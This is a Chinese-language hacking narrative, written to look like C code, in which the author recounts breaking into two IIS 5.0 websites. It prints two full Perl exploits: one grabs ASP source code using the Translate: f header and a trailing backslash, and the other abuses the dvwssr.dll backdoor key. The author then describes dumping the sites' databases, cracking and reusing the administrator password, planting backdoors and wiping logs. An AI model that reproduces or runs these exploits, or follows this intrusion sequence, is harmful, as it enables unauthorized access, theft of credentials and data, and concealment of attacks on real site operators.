/*作者:Torune
Email:torune@21cn.com
个人主页:http://realonline.myrice.com
本文所有内容未经本人允许不得转载。
以下内容从未实验过,如果照成某些影响或结果,本人概不负责。 */
#include <torune.mind> //导入Torune的思想。
int main() //正文开始。
{
最近看上了个下载网站,我们叫他为ABC,当然首先我这个懒人先用些偷懒的办法搞点测试啦,运行流光4,输入IP开始扫描。网管可以啊,没找到什么漏洞,我只知道他是IIS5.0,还有SMTP和POP3,郁闷啊!靠,等会搞定你,反正IIS的洞洞多的很。再找了目标,是个ASP聊天站,嘿嘿也是IIS5.0+2000啊,好的,流光也没找到漏洞,哎运气不好啊,(偷懒没偷成)算了。正是开工啦。
下个ActivePerl安装好后,进入DOS,用用很久前就搞到的一个pl文件,改文件可以利用IIS5的一个漏洞搞到网站中的ASP代码。(限于SP1)
---------代码如下--------------
#!/usr/bin/perl
# Expl0it By smiler@vxd.org
if (not $ARGV[0]) {;;;
print qq~
Geee it磗;;; running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl http://www.victim.com/default.asp > file_to_save
~; exit;};;;
$victimurl=$ARGV[0];
# Create a user agent object
use LWP::UserAgent;
$ua = new LWP::UserAgent;
# Create a request
my $req = new HTTP::Request GET => $victimurl . '\\'; # Here is the backslash at the end of the url ;)
$req->content_type('application/x-www-FORM-urlencoded');
$req->content_type('text/html');
$req->header(Translate => 'f'); # Here is the famous translate header :))
$req->content('match=www&errors=0');
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {;;;
print $res->content;
};;; else {;;;
print $res->error_as_HTML;
};;;
---------代码结束-------------
打上perl -x srcgrab.pl http://chat.com/login.asp > chat.txt
(导出代码为chat.txt),看来我还有点运气,白痴网管没打补丁,嘿嘿。
看看代码,把数据库搞下来了,搞到这些用户名和密码后,挂好这些用户名和密码满满破啦,我们先喝杯茶歇会。
几分钟后,嘿嘿,Administrator的密码居然被搞出来了啊!@dm1n,网管对密码还挺精明的,不过补丁就不是了啊。登陆后搞好后门和清LOG先。
OK了,现在来搞定那个ABC吧,上面的老步骤啦,
。。。。。。。。。。。。。
靠,居然ERROR了,这个网管没那么傻啊,哎看来得再找办法了。
用用最近刚搞到的代码吧,这个漏洞是利用微软留下的后门搞到文件的原代码。Netscape engineers are weenies!就是那个后门的密码。
------------代码开始----------------
#!/usr/bin/perl
# dvwssr.pl by rain forest puppy (only tested on Linux, as usual)
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."\n";
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file)." HTTP/1.0\n\n";
print sendraw($url);
sub encodefilename {;;
my $from=shift;
my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from);
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){;;
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){;;
$tmp= $kv - $fv;
if($tmp <0){;;$tmp +=62;};;
$to.=substr $slide, $tmp,1; };; else {;;
$to.=$lett;};;
if(++$kc >= length($key)){;; $kc=0;};;
};;return $to;};;
sub sendraw {;;
my ($pstr)=@_;
my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){;;
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
};; else {;; die("Can't connect...\n"); };;};;
---------代码结束-------------
打上perl dvwssr.pl ABC /login.asp,看来我运气还行,网管没打补丁,嘿嘿。看看代码,在把数据库搞下来了,搞到管理员的用户名和密码后,我们先来试试他是否和刚才那个网管一样,也是同样的密码用到两个地方呢?郁闷啊,我可怜他了,密码果然一样,哎,算了。登陆后搞好后门和清LOG先。OK了搞定所有东东,下线来点游戏啦,哈哈
return(0);//文章nO.1结束
}